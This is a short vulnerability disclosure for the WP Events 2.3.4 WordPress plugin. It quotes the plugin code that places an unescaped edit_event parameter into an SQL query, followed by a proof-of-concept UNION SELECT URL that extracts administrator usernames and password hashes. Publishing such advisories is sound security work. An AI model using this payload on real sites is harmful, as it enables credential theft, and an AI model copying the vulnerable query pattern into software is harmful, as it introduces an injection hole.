WP Events 2.3.4 WordPress Plugin – Sql Injetcion

WP Events 2.3.4 WordPress Plugin – Sql Injetcion

Homepage:

https://wordpress.org/plugins/wp-events/

Description:

  • Type user acces: administrator user.

$_GET[‘edit_event’] is not escaped.

File / Code:

Path Request: /wp-content/plugins/wp-events/wp-events.php

Line :  450 – 468

if ( isset( $_GET['edit_event'] ) ) {
   $event_edit_id = esc_attr( $_GET['edit_event'] );
}

...
$edit_event = $wpdb->get_row( "SELECT * FROM `{$wpdb->prefix}events` WHERE `id` = {$event_edit_id}" );

Proof of Concept:

1 – Log in with administrator user.

target.dev/wp-admin/admin.php?page=wp-events-edit&edit_event=2+UNION+SELECT+1,CONCAT(user_login,char(58),user_pass),3,4,5,6,7,8,9,10,11,12,13,14+FROM+wp_users+WHERE+ID=1

2 – Result:

 

Timeline:

  • 07/09/2017 – Discovered
  • 11/09/2017 – Vendor no finded
  • 03/11/2017 – Publish

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